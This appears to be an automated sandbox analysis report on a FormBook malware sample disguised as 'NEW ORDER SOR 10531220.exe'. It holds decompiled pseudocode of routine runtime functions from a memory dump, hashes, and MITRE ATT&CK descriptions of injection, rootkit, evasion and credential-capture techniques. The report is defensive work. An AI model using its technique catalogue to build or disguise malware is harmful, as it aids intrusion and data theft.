Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 42E0C231284208BBDB226E44CC01F797B57EB507A4F218031FF085A691C675DC91E6F5

Uniqueness

Uniqueness Score: -1.00%

Function 00D7A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D7A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0xe367e4 >= 0xa) {
					if(_t5 < 0xe36800 || _t5 >= 0xe36900) {
						return L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E00D60010(0xe367e0, _t5);
				}
			}

0x00d7a190
0x00d7a1a6
0x00d7a1c2
0x00000000
0x00000000
0x00000000
0x00d7a192
0x00d7a192
0x00d7a19f
0x00d7a19f

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b86cf1d04ff0634bc526ab40c2adc4f6a73898e972e3895703a50b060ae1d1aa
Instruction ID: d01fb8eac12f968ad6d54d886d68338ef83060d3ae1aea6023e817ccc6a46f4d
Opcode Fuzzy Hash: b86cf1d04ff0634bc526ab40c2adc4f6a73898e972e3895703a50b060ae1d1aa
Instruction Fuzzy Hash: 98D02B211201003BDF1C173C8C1EB292B52E7C4704F70C49EF10B1A5A0E96088D4C139

Uniqueness

Uniqueness Score: -1.00%

Function 00D716E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D716E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E00D71710(0xe367e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L00D64620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x00d716e8
0x00d716ef
0x00d716f3
0x00d716fe
0x00000000
0x00d71700
0x00d7170d
0x00d7170d
0x00d716f2
0x00d716f2
0x00d716f2
0x00d716f2

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d31c7ab064831f9bf57dcb8a764dc70f882eabf3f29b1b49fa151bd7ccba1c
Instruction ID: be99c5cf7934fe385cc20f61d5542b9d6f90c326334557ad4ccb37ebef69ec0a
Opcode Fuzzy Hash: 30d31c7ab064831f9bf57dcb8a764dc70f882eabf3f29b1b49fa151bd7ccba1c
Instruction Fuzzy Hash: D3D0A771100100A3DA2D5B189815B192255DBC0785F3C416CF10F594C1DFA0CC92E078

Uniqueness

Uniqueness Score: -1.00%

Function 00DC53CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DC53CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E00D5EB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x00dc53ca
0x00dc53ce
0x00dc53d9
0x00dc53de
0x00dc53e1
0x00dc53e1
0x00dc53e6
0x00dc53f3
0x00000000
0x00dc53f8
0x00dc53fb

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: d4b8d32833c43abcf64231982cde59404cdd2162c43be6e271629817bb72d3c8
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 35E08C31904AC49BCF12EF48C650F4EB7F5FB44B40F180048B4085B621C664AD00CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D735A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D735A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E00D5EB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x00d735a1
0x00d735a1
0x00d735a5
0x00d735ab
0x00d735ab
0x00d735b5
0x00000000
0x00d735c1
0x00d735b7

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 93a872f4fe990b108c4b9e6e089e0d8a4813ae7b11b774ea7250fe75948fc848
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 32D0A9314011809ADB01AB10C21876C33B2FB00309F6CA069984E06852E33A8F0EF620

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D5AAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x00d5aab6
0x00d5aabb
0x00daa442
0x00000000
0x00daa448
0x00daa454
0x00daa454
0x00d5aac1
0x00d5aac1
0x00d5aac6
0x00d5aac6

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 2d40bb7e8a6264686d5f918eed29bff00fbe8a9ddc3ee8f002e330bab649bbee
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 90D0C935352E80CFD616CB0CC564B0533A4BB04B40FC90590F800CB721E76CDD44CA10

Uniqueness

Uniqueness Score: -1.00%

Function 00DCA537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00DCA537(intOrPtr _a4, intOrPtr _a8) {

				return L00D68E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x00dca553

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 18fbf4a44bc8ac1c7d124153604f1e070b3b9cb89af5076ef83d98b97b18b082
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: ECC08C33080248BBCB126F81CC01F067F2AFB94B60F008010FA480B572CA33E970EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D4DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D4DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L00D64620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x00d4db4d
0x00d4db54
0x00d4db5f
0x00d4db56
0x00d4db56
0x00d4db5c
0x00d4db5c

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: c97b82dcfb05e5a67c0f8e5bc7f45d691dc1934bc6421148436d0046062fbc5c
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 52C08C30280A00ABEB225F20CD12B4136A1FB12B05F4900A07300DA0F0DB78DC01E620

Uniqueness

Uniqueness Score: -1.00%

Function 00D4AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D4AD30(intOrPtr _a4) {

				return L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x00d4ad49

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 30a271a1597d8ef37ef14014e2b01a9126090defa20b9406f3c8f700dddda6a7
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: EEC08C32080248BBC7126A45CD01F017B29E790B60F000020B6040A662C936E860D5A8

Uniqueness

Uniqueness Score: -1.00%

Function 00D736CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D736CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L00D64620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x00d736d2
0x00d736e8
0x00d736d4
0x00d736e5
0x00d736e5

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: d79e9f0de9be0666fa29eb1130573f27204dafacf33316c0e760d1871e0c5df4
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 43C02B70190440BBD7156F30CD11F197254F701B21F6803587220454F0E5289C00E220

Uniqueness

Uniqueness Score: -1.00%

Function 00D576E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D576E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L00D677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x00d576e4
0x00000000
0x00d576f8
0x00d576fd

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: b6050d292dd531ac4dcb80da272b4a944b1cddabaf976e0effcd4d31ea46e2b9
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: C0C08C701599845BEF2A5708CE21B203650AB0870AF6C019CBE01094A2C36CAC06C228

Uniqueness

Uniqueness Score: -1.00%

Function 00D63A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D63A1C(intOrPtr _a4) {
				void* _t5;

				return L00D64620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x00d63a35

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: d6b585750f55c00a81de3f3a29315e829db13bcc373e4182b035212a649cde51
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 45C02B33080248BBC712AF81DC01F027F2DE791B60F000020F7040B571C532EC60D5AC

Uniqueness

Uniqueness Score: -1.00%

Function 00D67D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D67D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x00d67d56
0x00d67d5b
0x00d67d60
0x00d67d5d
0x00d67d5d
0x00d67d5d

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 622133c901f35314ac38f63cd2be79501d49939663707eaf43c1ebf48bee7c7a
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: C6B09234301940CFDE16DF18C080B1533E4BB44B44B8804D0E400CBA20D229E8008900

Uniqueness

Uniqueness Score: -1.00%

Function 00D72ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00D72ACB() {
				void* _t5;

				return E00D5EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x00d72adc

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: e2c29d55d575795d1a0fd30a0524fac3e5c42b6541608069f23c7a19459fccb8
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 12B01232C10450CFCF06FF40C610B1D7331FB00751F054490A80127931C628AD01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00DDFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00DDFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00D8CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00DD5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00DD5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00ddfdda
0x00ddfde2
0x00ddfde5
0x00ddfdec
0x00ddfdfa
0x00ddfdff
0x00ddfe0a
0x00ddfe0f
0x00ddfe17
0x00ddfe1e
0x00ddfe19
0x00ddfe19
0x00ddfe19
0x00ddfe20
0x00ddfe21
0x00ddfe22
0x00ddfe25
0x00ddfe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DDFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00DDFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00DDFE01

Memory Dump Source

Source File: 0000000F.00000002.504469970.0000000000D20000.00000040.00000001.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000F.00000002.505175292.0000000000E3B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.505190845.0000000000E3F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: f808a2098b5a9e67aec1194dec7107893eddfdf9fce7cbd74a8e9deac1b92051
Instruction ID: 80f2d5cea74da84506fd49eac3285b1bd5f0b2557c118126f466c9030e0b8ef9
Opcode Fuzzy Hash: f808a2098b5a9e67aec1194dec7107893eddfdf9fce7cbd74a8e9deac1b92051
Instruction Fuzzy Hash: 11F0F632600601BFD6201B45DC02F33BB6AEB44730F244315F628562E1DA62F82097F0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report NEW ORDER SOR 10531220.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

